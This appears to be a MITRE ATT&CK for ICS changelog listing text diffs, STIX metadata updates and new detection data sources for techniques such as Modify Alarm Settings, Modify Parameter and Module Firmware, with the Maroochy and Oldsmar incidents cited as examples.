- DS0009: Process (Process Metadata)
- DS0017: Command (Command Execution)
- DS0019: Service (Service Creation)
- DS0019: Service (Service Metadata)
- DS0022: File (File Metadata)
- DS0022: File (File Modification)
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_version | | 1.0 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-08 15:25:32.143000+00:00 | 2022-04-21 22:02:03.885000+00:00 |
| description | Adversaries may use masquerading to disguise a malicious application or executable as another file, to avoid operator and engineer suspicion. Possible disguises of these masquerading files can include commonly found programs, expected vendor executables and configuration files, and other commonplace application and naming conventions. By impersonating expected and vendor-relevant files and applications, operators and engineers may not notice the presence of the underlying malicious content and possibly end up running those masquerading as legitimate functions.
Applications and other files commonly found on Windows systems or in engineering workstations have been impersonated before. This can be as simple as renaming a file to effectively disguise it in the ICS environment. | Adversaries may use masquerading to disguise a malicious application or executable as another file, to avoid operator and engineer suspicion. Possible disguises of these masquerading files can include commonly found programs, expected vendor executables and configuration files, and other commonplace application and naming conventions. By impersonating expected and vendor-relevant files and applications, operators and engineers may not notice the presence of the underlying malicious content and possibly end up running those masquerading as legitimate functions. Applications and other files commonly found on Windows systems or in engineering workstations have been impersonated before. This can be as simple as renaming a file to effectively disguise it in the ICS environment. |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T0849 | https://attack.mitre.org/Technique/T0849 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_data_sources | | Process: Process Metadata |
[T0838] Modify Alarm Settings
Current version: 1.0
Version changed from: 0.0 → 1.0
|
|
|---|
| t | Adversaries may modify alarm settings to prevent alerts that | t | Adversaries may modify alarm settings to prevent alerts that |
| may inform operators of their presence or to prevent respon | | may inform operators of their presence or to prevent respon |
| ses to dangerous and unintended scenarios. Reporting message | | ses to dangerous and unintended scenarios. Reporting message |
| s are a standard part of data acquisition in control systems | | s are a standard part of data acquisition in control systems |
| . Reporting messages are used as a way to transmit system st | | . Reporting messages are used as a way to transmit system st |
| ate information and acknowledgements that specific actions h | | ate information and acknowledgements that specific actions h |
| ave occurred. These messages provide vital information for t | | ave occurred. These messages provide vital information for t |
| he management of a physical process, and keep operators, eng | | he management of a physical process, and keep operators, eng |
| ineers, and administrators aware of the state of system devi | | ineers, and administrators aware of the state of system devi |
| ces and physical processes. If an adversary is able to chan | | ces and physical processes. If an adversary is able to chan |
| ge the reporting settings, certain events could be prevented | | ge the reporting settings, certain events could be prevented |
| from being reported. This type of modification can also pre | | from being reported. This type of modification can also pre |
| vent operators or devices from performing actions to keep th | | vent operators or devices from performing actions to keep th |
| e system in a safe state. If critical reporting messages can | | e system in a safe state. If critical reporting messages can |
| not trigger these actions then a Impact could occur. In ICS | | not trigger these actions then a [[Impact]] could occur. In |
| environments, the adversary may have to use <span class="sm | | ICS environments, the adversary may have to use [Alarm Supp |
| w-format list-format "><span class="smw-row"><span class="sm | | ression](https://attack.mitre.org/techniques/T0878) or conte |
| w-field"><span class="smw-value">Alarm Suppression</span></s | | nd with multiple alarms and/or alarm propagation to achieve |
| pan></span></span> or contend with multiple alarms and/or al | | a specific goal to evade detection or prevent intended respo |
| arm propagation to achieve a specific goal to evade detectio | | nses from occurring. (Citation: Jos Wetzels, Marina Krotofil |
| n or prevent intended responses from occurring. (Citation: | | 2019) Methods of suppression often rely on modification of |
| References - Secura - 2019) Methods of suppression often rel | | alarm settings, such as modifying in memory code to fixed v |
| y on modification of alarm settings, such as modifying in me | | alues or tampering with assembly level instruction code. |
| mory code to fixed values or tampering with assembly level i | | In the Maroochy Attack, the adversary disabled alarms at fou |
| nstruction code. In the Maroochy Attack, the adversary di | | r pumping stations. This caused alarms to not be reported to |
| sabled alarms at four pumping stations. This caused alarms t | | the central computer. (Citation: Marshall Abrams July 2008) |
| o not be reported to the central computer. (Citation: Marooc | | |
| hy - MITRE - 200808) | | |
New Detections:
- DS0015: Application Log (Application Log Content)
- DS0029: Network Traffic (Network Traffic Content)
- DS0040: Operational Databases (Process History/Live Data)
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_version | | 1.0 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-08 15:25:32.143000+00:00 | 2022-04-21 22:02:03.886000+00:00 |
| description | Adversaries may modify alarm settings to prevent alerts that may inform operators of their presence or to prevent responses to dangerous and unintended scenarios. Reporting messages are a standard part of data acquisition in control systems. Reporting messages are used as a way to transmit system state information and acknowledgements that specific actions have occurred. These messages provide vital information for the management of a physical process, and keep operators, engineers, and administrators aware of the state of system devices and physical processes.
If an adversary is able to change the reporting settings, certain events could be prevented from being reported. This type of modification can also prevent operators or devices from performing actions to keep the system in a safe state. If critical reporting messages cannot trigger these actions then a Impact could occur.
In ICS environments, the adversary may have to use Alarm Suppression or contend with multiple alarms and/or alarm propagation to achieve a specific goal to evade detection or prevent intended responses from occurring. (Citation: References - Secura - 2019) Methods of suppression often rely on modification of alarm settings, such as modifying in memory code to fixed values or tampering with assembly level instruction code.
In the Maroochy Attack, the adversary disabled alarms at four pumping stations. This caused alarms to not be reported to the central computer. (Citation: Maroochy - MITRE - 200808) | Adversaries may modify alarm settings to prevent alerts that may inform operators of their presence or to prevent responses to dangerous and unintended scenarios. Reporting messages are a standard part of data acquisition in control systems. Reporting messages are used as a way to transmit system state information and acknowledgements that specific actions have occurred. These messages provide vital information for the management of a physical process, and keep operators, engineers, and administrators aware of the state of system devices and physical processes. If an adversary is able to change the reporting settings, certain events could be prevented from being reported. This type of modification can also prevent operators or devices from performing actions to keep the system in a safe state. If critical reporting messages cannot trigger these actions then a [[Impact]] could occur. In ICS environments, the adversary may have to use [Alarm Suppression](https://attack.mitre.org/techniques/T0878) or contend with multiple alarms and/or alarm propagation to achieve a specific goal to evade detection or prevent intended responses from occurring. (Citation: Jos Wetzels, Marina Krotofil 2019) Methods of suppression often rely on modification of alarm settings, such as modifying in memory code to fixed values or tampering with assembly level instruction code. In the Maroochy Attack, the adversary disabled alarms at four pumping stations. This caused alarms to not be reported to the central computer. (Citation: Marshall Abrams July 2008) |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T0838 | https://attack.mitre.org/Technique/T0838 |
| external_references[1]['source_name'] | Maroochy - MITRE - 200808 | Jos Wetzels, Marina Krotofil 2019 |
| external_references[1]['description'] | Marshall Abrams. (2008, July 23). Malicious Control System Cyber Security Attack Case Study– Maroochy Water Services, Australia. Retrieved March 27, 2018. | Jos Wetzels, Marina Krotofil 2019 A Diet of Poisoned Fruit: Designing Implants & OT Payloads for ICS Embedded Devices Retrieved. 2019/11/01 |
| external_references[1]['url'] | https://www.mitre.org/sites/default/files/pdf/08%201145.pdf | https://troopers.de/downloads/troopers19/TROOPERS19_NGI_IoT_diet_poisoned_fruit.pdf |
| external_references[2]['source_name'] | References - Secura - 2019 | Marshall Abrams July 2008 |
| external_references[2]['description'] | Jos Wetzels, Marina Krotofil. (2019). A Diet of Poisoned Fruit: Designing Implants & OT Payloads for ICS Embedded Devices. Retrieved November 1, 2019. | Marshall Abrams 2008, July 23 Malicious Control System Cyber Security Attack Case Study Maroochy Water Services, Australia Retrieved. 2018/03/27 |
| external_references[2]['url'] | https://troopers.de/downloads/troopers19/TROOPERS19%20NGI%20IoT%20diet%20poisoned%20fruit.pdf | https://www.mitre.org/sites/default/files/pdf/08_1145.pdf |
[T0821] Modify Controller Tasking
Current version: 1.0
Version changed from: 0.0 → 1.0
|
|
|---|
| t | Adversaries may modify the tasking of a controller to allow | t | Adversaries may modify the tasking of a controller to allow |
| for the execution of their own programs. This can allow an a | | for the execution of their own programs. This can allow an a |
| dversary to manipulate the execution flow and behavior of a | | dversary to manipulate the execution flow and behavior of a |
| controller. According to 61131-3, the association of a Task | | controller. According to 61131-3, the association of a Task |
| with a Program Organization Unit (POU) defines a task associ | | with a Program Organization Unit (POU) defines a task assoc |
| ation. An adversary may modify these associations or create | | iation. (Citation: IEC February 2013) An adversary may modif |
| new ones to manipulate the execution flow of a controller. M | | y these associations or create new ones to manipulate the ex |
| odification of controller tasking can be accomplished using | | ecution flow of a controller. Modification of controller tas |
| a Program Download in addition to other types of program mod | | king can be accomplished using a Program Download in additio |
| ification such as online edit and program append. Tasks have | | n to other types of program modification such as online edit |
| properties, such as interval, frequency and priority to mee | | and program append. Tasks have properties, such as interva |
| t the requirements of program execution. Some controller ven | | l, frequency and priority to meet the requirements of progra |
| dors implement tasks with implicit, pre-defined properties w | | m execution. Some controller vendors implement tasks with im |
| hereas others allow for these properties to be formulated ex | | plicit, pre-defined properties whereas others allow for thes |
| plicitly. An adversary may associate their program with task | | e properties to be formulated explicitly. An adversary may a |
| s that have a higher priority or execute associated programs | | ssociate their program with tasks that have a higher priorit |
| more frequently. For instance, to ensure cyclic execution o | | y or execute associated programs more frequently. For instan |
| f their program on a Siemens controller, an adversary may ad | | ce, to ensure cyclic execution of their program on a Siemens |
| d their program to the “task”, Organization Block 1 (OB1). | | controller, an adversary may add their program to the task, |
| | | Organization Block 1 (OB1). |
New Detections:
- DS0022: File (File Modification)
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_version | | 1.0 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-08 15:25:32.143000+00:00 | 2022-04-21 22:02:03.887000+00:00 |
| description | Adversaries may modify the tasking of a controller to allow for the execution of their own programs. This can allow an adversary to manipulate the execution flow and behavior of a controller. According to 61131-3, the association of a Task with a Program Organization Unit (POU) defines a task association. An adversary may modify these associations or create new ones to manipulate the execution flow of a controller. Modification of controller tasking can be accomplished using a Program Download in addition to other types of program modification such as online edit and program append. Tasks have properties, such as interval, frequency and priority to meet the requirements of program execution. Some controller vendors implement tasks with implicit, pre-defined properties whereas others allow for these properties to be formulated explicitly. An adversary may associate their program with tasks that have a higher priority or execute associated programs more frequently. For instance, to ensure cyclic execution of their program on a Siemens controller, an adversary may add their program to the “task”, Organization Block 1 (OB1). | Adversaries may modify the tasking of a controller to allow for the execution of their own programs. This can allow an adversary to manipulate the execution flow and behavior of a controller. According to 61131-3, the association of a Task with a Program Organization Unit (POU) defines a task association. (Citation: IEC February 2013) An adversary may modify these associations or create new ones to manipulate the execution flow of a controller. Modification of controller tasking can be accomplished using a Program Download in addition to other types of program modification such as online edit and program append. Tasks have properties, such as interval, frequency and priority to meet the requirements of program execution. Some controller vendors implement tasks with implicit, pre-defined properties whereas others allow for these properties to be formulated explicitly. An adversary may associate their program with tasks that have a higher priority or execute associated programs more frequently. For instance, to ensure cyclic execution of their program on a Siemens controller, an adversary may add their program to the task, Organization Block 1 (OB1). |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T0821 | https://attack.mitre.org/Technique/T0821 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'IEC February 2013', 'description': 'IEC 2013, February 20 IEC 61131-3:2013 Programmable controllers - Part 3: Programming languages Retrieved. 2019/10/22 ', 'url': 'https://webstore.iec.ch/publication/4552'} |
[T0836] Modify Parameter
Current version: 1.0
Version changed from: 0.0 → 1.0
|
|
|---|
| t | Adversaries may modify parameters used to instruct industria | t | Adversaries may modify parameters used to instruct industria |
| l control system devices. These devices operate via programs | | l control system devices. These devices operate via programs |
| that dictate how and when to perform actions based on such | | that dictate how and when to perform actions based on such |
| parameters. Such parameters can determine the extent to whic | | parameters. Such parameters can determine the extent to whic |
| h an action is performed and may specify additional options. | | h an action is performed and may specify additional options. |
| For example, a program on a control system device dictating | | For example, a program on a control system device dictating |
| motor processes may take a parameter defining the total num | | motor processes may take a parameter defining the total num |
| ber of seconds to run that motor. An adversary can pote | | ber of seconds to run that motor. An adversary can pote |
| ntially modify these parameters to produce an outcome outsid | | ntially modify these parameters to produce an outcome outsid |
| e of what was intended by the operators. By modifying system | | e of what was intended by the operators. By modifying system |
| and process critical parameters, the adversary may cause Im | | and process critical parameters, the adversary may cause [[ |
| pact to equipment and/or control processes. Modified paramet | | Impact]] to equipment and/or control processes. Modified par |
| ers may be turned into dangerous, out-of-bounds, or unexpect | | ameters may be turned into dangerous, out-of-bounds, or unex |
| ed values from typical operations. For example, specifying t | | pected values from typical operations. For example, specifyi |
| hat a process run for more or less time than it should, or d | | ng that a process run for more or less time than it should, |
| ictating an unusually high, low, or invalid value as a param | | or dictating an unusually high, low, or invalid value as a p |
| eter. In the Maroochy Attack, Vitek Boden gained remote co | | arameter. In the Maroochy Attack, Vitek Boden gained remot |
| mputer access to the control system and altered data so that | | e computer access to the control system and altered data so |
| whatever function should have occurred at affected pumping | | that whatever function should have occurred at affected pump |
| stations did not occur or occurred in a different way. The s | | ing stations did not occur or occurred in a different way. T |
| oftware program installed in the laptop was one developed by | | he software program installed in the laptop was one develope |
| Hunter Watertech for its use in changing configurations in | | d by Hunter Watertech for its use in changing configurations |
| the PDS computers. This ultimately led to 800,000 liters of | | in the PDS computers. This ultimately led to 800,000 liters |
| raw sewage being spilled out into the community. (Citation: | | of raw sewage being spilled out into the community. (Citati |
| Maroochy - MITRE - 200808) In the Oldsmar water treatment at | | on: Marshall Abrams July 2008) In the Oldsmar water treatme |
| tack, adversaries raised the sodium hydroxide setpoint value | | nt attack, adversaries raised the sodium hydroxide setpoint |
| from 100 part-per-million (ppm) to 11,100 ppm, far beyond n | | value from 100 part-per-million (ppm) to 11,100 ppm, far bey |
| ormal operating levels. (Citation: Oldsmar Water Treatment A | | ond normal operating levels. (Citation: Pinellas County Sher |
| ttack Feb 2021) | | iffs Office February 2021) |
New Detections:
- DS0015: Application Log (Application Log Content)
- DS0029: Network Traffic (Network Traffic Content)
- DS0040: Operational Databases (Device Alarm)
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_version | | 1.0 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-14 15:25:32.143000+00:00 | 2022-04-21 22:02:03.888000+00:00 |
| description | Adversaries may modify parameters used to instruct industrial control system devices. These devices operate via programs that dictate how and when to perform actions based on such parameters. Such parameters can determine the extent to which an action is performed and may specify additional options. For example, a program on a control system device dictating motor processes may take a parameter defining the total number of seconds to run that motor.
An adversary can potentially modify these parameters to produce an outcome outside of what was intended by the operators. By modifying system and process critical parameters, the adversary may cause Impact to equipment and/or control processes. Modified parameters may be turned into dangerous, out-of-bounds, or unexpected values from typical operations. For example, specifying that a process run for more or less time than it should, or dictating an unusually high, low, or invalid value as a parameter.
In the Maroochy Attack, Vitek Boden gained remote computer access to the control system and altered data so that whatever function should have occurred at affected pumping stations did not occur or occurred in a different way. The software program installed in the laptop was one developed by Hunter Watertech for its use in changing configurations in the PDS computers. This ultimately led to 800,000 liters of raw sewage being spilled out into the community. (Citation: Maroochy - MITRE - 200808) In the Oldsmar water treatment attack, adversaries raised the sodium hydroxide setpoint value from 100 part-per-million (ppm) to 11,100 ppm, far beyond normal operating levels. (Citation: Oldsmar Water Treatment Attack Feb 2021) | Adversaries may modify parameters used to instruct industrial control system devices. These devices operate via programs that dictate how and when to perform actions based on such parameters. Such parameters can determine the extent to which an action is performed and may specify additional options. For example, a program on a control system device dictating motor processes may take a parameter defining the total number of seconds to run that motor. An adversary can potentially modify these parameters to produce an outcome outside of what was intended by the operators. By modifying system and process critical parameters, the adversary may cause [[Impact]] to equipment and/or control processes. Modified parameters may be turned into dangerous, out-of-bounds, or unexpected values from typical operations. For example, specifying that a process run for more or less time than it should, or dictating an unusually high, low, or invalid value as a parameter. In the Maroochy Attack, Vitek Boden gained remote computer access to the control system and altered data so that whatever function should have occurred at affected pumping stations did not occur or occurred in a different way. The software program installed in the laptop was one developed by Hunter Watertech for its use in changing configurations in the PDS computers. This ultimately led to 800,000 liters of raw sewage being spilled out into the community. (Citation: Marshall Abrams July 2008) In the Oldsmar water treatment attack, adversaries raised the sodium hydroxide setpoint value from 100 part-per-million (ppm) to 11,100 ppm, far beyond normal operating levels. (Citation: Pinellas County Sheriffs Office February 2021) |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T0836 | https://attack.mitre.org/Technique/T0836 |
| external_references[1]['source_name'] | Maroochy - MITRE - 200808 | Marshall Abrams July 2008 |
| external_references[1]['description'] | Marshall Abrams. (2008, July 23). Malicious Control System Cyber Security Attack Case Study– Maroochy Water Services, Australia. Retrieved March 27, 2018. | Marshall Abrams 2008, July 23 Malicious Control System Cyber Security Attack Case Study Maroochy Water Services, Australia Retrieved. 2018/03/27 |
| external_references[1]['url'] | https://www.mitre.org/sites/default/files/pdf/08%201145.pdf | https://www.mitre.org/sites/default/files/pdf/08_1145.pdf |
| external_references[2]['source_name'] | Oldsmar Water Treatment Attack Feb 2021 | Pinellas County Sheriffs Office February 2021 |
| external_references[2]['description'] | Pinellas County Sheriff’s Office. (2021, February 8). Treatment Plant Intrusion Press Conference. Retrieved October 8, 2021. | Pinellas County Sheriffs Office 2021, February 8 Treatment Plant Intrusion Press Conference Retrieved. 2021/10/08 |
[T0889] Modify Program
Current version: 1.0
Version changed from: 0.0 → 1.0
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|
|---|
| t | Adversaries may modify or add a program on a controller to a | t | Adversaries may modify or add a program on a controller to a |
| ffect how it interacts with the physical process, peripheral | | ffect how it interacts with the physical process, peripheral |
| devices and other hosts on the network. Modification to con | | devices and other hosts on the network. Modification to con |
| troller programs can be accomplished using a Program Downloa | | troller programs can be accomplished using a Program Downloa |
| d in addition to other types of program modification such as | | d in addition to other types of program modification such as |
| online edit and program append. Program modification encomp | | online edit and program append. Program modification enco |
| asses the addition and modification of instructions and logi | | mpasses the addition and modification of instructions and lo |
| c contained in Program Organization Units (POU) and similar | | gic contained in Program Organization Units (POU) (Citation |
| programming elements found on controllers. This can include, | | : IEC February 2013) and similar programming elements found |
| for example, adding new functions to a controller, modifyin | | on controllers. This can include, for example, adding new fu |
| g the logic in existing functions and making new calls from | | nctions to a controller, modifying the logic in existing fun |
| one function to another. Some programs may allow an adversar | | ctions and making new calls from one function to another. |
| y to interact directly with the native API of the controller | | Some programs may allow an adversary to interact directly wi |
| to take advantage of obscure features or vulnerabilities. | | th the native API of the controller to take advantage of obs |
| | | cure features or vulnerabilities. |
New Detections:
- DS0022: File (File Modification)
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_version | | 1.0 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-08 15:25:32.143000+00:00 | 2022-04-21 22:02:03.889000+00:00 |
| description | Adversaries may modify or add a program on a controller to affect how it interacts with the physical process, peripheral devices and other hosts on the network. Modification to controller programs can be accomplished using a Program Download in addition to other types of program modification such as online edit and program append. Program modification encompasses the addition and modification of instructions and logic contained in Program Organization Units (POU) and similar programming elements found on controllers. This can include, for example, adding new functions to a controller, modifying the logic in existing functions and making new calls from one function to another. Some programs may allow an adversary to interact directly with the native API of the controller to take advantage of obscure features or vulnerabilities. | Adversaries may modify or add a program on a controller to affect how it interacts with the physical process, peripheral devices and other hosts on the network. Modification to controller programs can be accomplished using a Program Download in addition to other types of program modification such as online edit and program append. Program modification encompasses the addition and modification of instructions and logic contained in Program Organization Units (POU) (Citation: IEC February 2013) and similar programming elements found on controllers. This can include, for example, adding new functions to a controller, modifying the logic in existing functions and making new calls from one function to another. Some programs may allow an adversary to interact directly with the native API of the controller to take advantage of obscure features or vulnerabilities. |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T0889 | https://attack.mitre.org/Technique/T0889 |
| external_references[1]['source_name'] | IEC Programmable controllers February 2013 | IEC February 2013 |
| external_references[1]['description'] | IEC. (2013, February 20). IEC 61131-3:2013 Programmable controllers - Part 3: Programming languages. Retrieved October 22, 2019. | IEC 2013, February 20 IEC 61131-3:2013 Programmable controllers - Part 3: Programming languages Retrieved. 2019/10/22 |
[T0839] Module Firmware
Current version: 1.0
Version changed from: 0.0 → 1.0
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|
|---|
| t | Adversaries may install malicious or vulnerable firmware ont | t | Adversaries may install malicious or vulnerable firmware ont |
| o modular hardware devices. Control system devices often con | | o modular hardware devices. Control system devices often con |
| tain modular hardware devices. These devices may have their | | tain modular hardware devices. These devices may have their |
| own set of firmware that is separate from the firmware of th | | own set of firmware that is separate from the firmware of th |
| e main control system equipment. This technique is similar | | e main control system equipment. This technique is similar |
| to <span class="smw-format list-format "><span class="smw-r | | to [System Firmware](https://attack.mitre.org/techniques/T0 |
| ow"><span class="smw-field"><span class="smw-value">System F | | 857), but is conducted on other system components that may n |
| irmware</span></span></span></span>, but is conducted on oth | | ot have the same capabilities or level of integrity checking |
| er system components that may not have the same capabilities | | . Although it results in a device re-image, malicious device |
| or level of integrity checking. Although it results in a de | | firmware may provide persistent access to remaining devices |
| vice re-image, malicious device firmware may provide persist | | . (Citation: Daniel Peck, Dale Peterson January 2009) An e |
| ent access to remaining devices. (Citation: References - Mod | | asy point of access for an adversary is the Ethernet card, w |
| ule Firmware) An easy point of access for an adversary is t | | hich may have its own CPU, RAM, and operating system. The ad |
| he Ethernet card, which may have its own CPU, RAM, and opera | | versary may attack and likely exploit the computer on an Eth |
| ting system. The adversary may attack and likely exploit the | | ernet card. Exploitation of the Ethernet card computer may e |
| computer on an Ethernet card. Exploitation of the Ethernet | | nable the adversary to accomplish additional attacks, such a |
| card computer may enable the adversary to accomplish additio | | s the following: (Citation: Daniel Peck, Dale Peterson Janu |
| nal attacks, such as the following: (Citation: References - | | ary 2009) *Delayed Attack - The adversary may stage an atta |
| Module Firmware) *Delayed Attack - The adversary may stage | | ck in advance and choose when to launch it, such as at a par |
| an attack in advance and choose when to launch it, such as a | | ticularly damaging time. *Brick the Ethernet Card - Malicio |
| t a particularly damaging time. *Brick the Ethernet Card - | | us firmware may be programmed to result in an Ethernet card |
| Malicious firmware may be programmed to result in an Etherne | | failure, requiring a factory return. *Random Attack or Fail |
| t card failure, requiring a factory return. *"Random" Attac | | ure - The adversary may load malicious firmware onto multipl |
| k or Failure - The adversary may load malicious firmware ont | | e field devices. Execution of an attack and the time it occu |
| o multiple field devices. Execution of an attack and the tim | | rs is generated by a pseudo-random number generator. *A Fi |
| e it occurs is generated by a pseudo-random number generator | | eld Device Worm - The adversary may choose to identify all f |
| . *A Field Device Worm - The adversary may choose to ident | | ield devices of the same model, with the end goal of perform |
| ify all field devices of the same model, with the end goal o | | ing a device-wide compromise. *Attack Other Cards on the Fi |
| f performing a device-wide compromise. *Attack Other Cards | | eld Device - Although it is not the most important module in |
| on the Field Device - Although it is not the most important | | a field device, the Ethernet card is most accessible to the |
| module in a field device, the Ethernet card is most accessib | | adversary and malware. Compromise of the Ethernet card may |
| le to the adversary and malware. Compromise of the Ethernet | | provide a more direct route to compromising other modules, s |
| card may provide a more direct route to compromising other m | | uch as the CPU module. |
| odules, such as the CPU module. | | |
New Detections:
- DS0001: Firmware (Firmware Modification)
- DS0029: Network Traffic (Network Traffic Content)
- DS0029: Network Traffic (Network Traffic Flow)
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_version | | 1.0 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-08 15:25:32.143000+00:00 | 2022-04-21 22:02:03.890000+00:00 |
| description | Adversaries may install malicious or vulnerable firmware onto modular hardware devices. Control system devices often contain modular hardware devices. These devices may have their own set of firmware that is separate from the firmware of the main control system equipment.
This technique is similar to System Firmware, but is conducted on other system components that may not have the same capabilities or level of integrity checking. Although it results in a device re-image, malicious device firmware may provide persistent access to remaining devices. (Citation: References - Module Firmware)
An easy point of access for an adversary is the Ethernet card, which may have its own CPU, RAM, and operating system. The adversary may attack and likely exploit the computer on an Ethernet card. Exploitation of the Ethernet card computer may enable the adversary to accomplish additional attacks, such as the following: (Citation: References - Module Firmware)
*Delayed Attack - The adversary may stage an attack in advance and choose when to launch it, such as at a particularly damaging time.
*Brick the Ethernet Card - Malicious firmware may be programmed to result in an Ethernet card failure, requiring a factory return.
*"Random" Attack or Failure - The adversary may load malicious firmware onto multiple field devices. Execution of an attack and the time it occurs is generated by a pseudo-random number generator.
*A Field Device Worm - The adversary may choose to identify all field devices of the same model, with the end goal of performing a device-wide compromise.
*Attack Other Cards on the Field Device - Although it is not the most important module in a field device, the Ethernet card is most accessible to the adversary and malware. Compromise of the Ethernet card may provide a more direct route to compromising other modules, such as the CPU module. | Adversaries may install malicious or vulnerable firmware onto modular hardware devices. Control system devices often contain modular hardware devices. These devices may have their own set of firmware that is separate from the firmware of the main control system equipment. This technique is similar to [System Firmware](https://attack.mitre.org/techniques/T0857), but is conducted on other system components that may not have the same capabilities or level of integrity checking. Although it results in a device re-image, malicious device firmware may provide persistent access to remaining devices. (Citation: Daniel Peck, Dale Peterson January 2009) An easy point of access for an adversary is the Ethernet card, which may have its own CPU, RAM, and operating system. The adversary may attack and likely exploit the computer on an Ethernet card. Exploitation of the Ethernet card computer may enable the adversary to accomplish additional attacks, such as the following: (Citation: Daniel Peck, Dale Peterson January 2009) *Delayed Attack - The adversary may stage an attack in advance and choose when to launch it, such as at a particularly damaging time. *Brick the Ethernet Card - Malicious firmware may be programmed to result in an Ethernet card failure, requiring a factory return. *Random Attack or Failure - The adversary may load malicious firmware onto multiple field devices. Execution of an attack and the time it occurs is generated by a pseudo-random number generator. *A Field Device Worm - The adversary may choose to identify all field devices of the same model, with the end goal of performing a device-wide compromise. *Attack Other Cards on the Field Device - Although it is not the most important module in a field device, the Ethernet card is most accessible to the adversary and malware. Compromise of the Ethernet card may provide a more direct route to compromising other modules, such as the CPU module. |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T0839 | https://attack.mitre.org/Technique/T0839 |
| external_references[1]['source_name'] | References - Module Firmware | Daniel Peck, Dale Peterson January 2009 |
| external_references[1]['description'] | Daniel Peck, Dale Peterson. (2009, January 28). Leveraging Ethernet Card Vulnerabilities in Field Devices. Retrieved December 19, 2017. | Daniel Peck, Dale Peterson 2009, January 28 Leveraging Ethernet Card Vulnerabilities in Field Devices Retrieved. 2017/12/19 |
| external_references[1]['url'] | https://www.researchgate.net/publication/228849043%20Leveraging%20ethernet%20card%20vulnerabilities%20in%20field%20devices | https://www.researchgate.net/publication/228849043_Leveraging_ethernet_card_vulnerabilities_in_field_devices |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'Daniel Peck, Dale Peterson January 2009', 'description': 'Daniel Peck, Dale Peterson 2009, January 28 Leveraging Ethernet Card Vulnerabilities in Field Devices Retrieved. 2017/12/19 ', 'url': 'https://www.researchgate.net/publication/228849043_Leveraging_ethernet_card_vulnerabilities_in_field_devices'} |
[T0801] Monitor Process State
Current version: 1.0
Version changed from: 0.0 → 1.0
New Detections:
- DS0029: Network Traffic (Network Traffic Content)
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_version | | 1.0 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-08 15:25:32.143000+00:00 | 2022-04-21 22:02:03.890000+00:00 |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T0801 | https://attack.mitre.org/Technique/T0801 |
[T0834] Native API
Current version: 1.0
Version changed from: 0.0 → 1.0
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|---|
| t | Adversaries may directly interact with the native OS applica | t | Adversaries may directly interact with the native OS applica |
| tion programming interface (API) to access system functions. | | tion programming interface (API) to access system functions. |
| Native APIs provide a controlled means of calling low-level | | Native APIs provide a controlled means of calling low-level |
| OS services within the kernel, such as those involving hard | | OS services within the kernel, such as those involving hard |
| ware/devices, memory, and processes.(Citation: EAttack Nativ | | ware/devices, memory, and processes. (Citation: The MITRE Co |
| e API) These native APIs are leveraged by the OS during syst | | rporation May 2017) These native APIs are leveraged by the O |
| em boot (when other system components are not yet initialize | | S during system boot (when other system components are not y |
| d) as well as carrying out tasks and requests during routine | | et initialized) as well as carrying out tasks and requests d |
| operations. Functionality provided by native APIs are often | | uring routine operations. Functionality provided by native |
| also exposed to user-mode applications via interfaces and l | | APIs are often also exposed to user-mode applications via in |
| ibraries. For example, functions such as memcpy and direct o | | terfaces and libraries. For example, functions such as memcp |
| perations on memory registers can be used to modify user and | | y and direct operations on memory registers can be used to m |
| system memory space. | | odify user and system memory space. |
New Detections:
- DS0009: Process (OS API Execution)
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_version | | 1.0 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-08 15:25:32.143000+00:00 | 2022-04-21 22:02:03.891000+00:00 |
| description | Adversaries may directly interact with the native OS application programming interface (API) to access system functions. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.(Citation: EAttack Native API) These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations. Functionality provided by native APIs are often also exposed to user-mode applications via interfaces and libraries. For example, functions such as memcpy and direct operations on memory registers can be used to modify user and system memory space. | Adversaries may directly interact with the native OS application programming interface (API) to access system functions. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes. (Citation: The MITRE Corporation May 2017) These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations. Functionality provided by native APIs are often also exposed to user-mode applications via interfaces and libraries. For example, functions such as memcpy and direct operations on memory registers can be used to modify user and system memory space. |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T0834 | https://attack.mitre.org/Technique/T0834 |
| external_references[1]['source_name'] | EAttack Native API | The MITRE Corporation May 2017 |
| external_references[1]['description'] | The MITRE Corporation. (2017, May 31). ATT&CK T1106: Native API. Retrieved April 26, 2021. | The MITRE Corporation 2017, May 31 ATT&CK T1106: Native API Retrieved. 2021/04/26 |
[T0840] Network Connection Enumeration
Current version: 1.0
Version changed from: 0.0 → 1.0
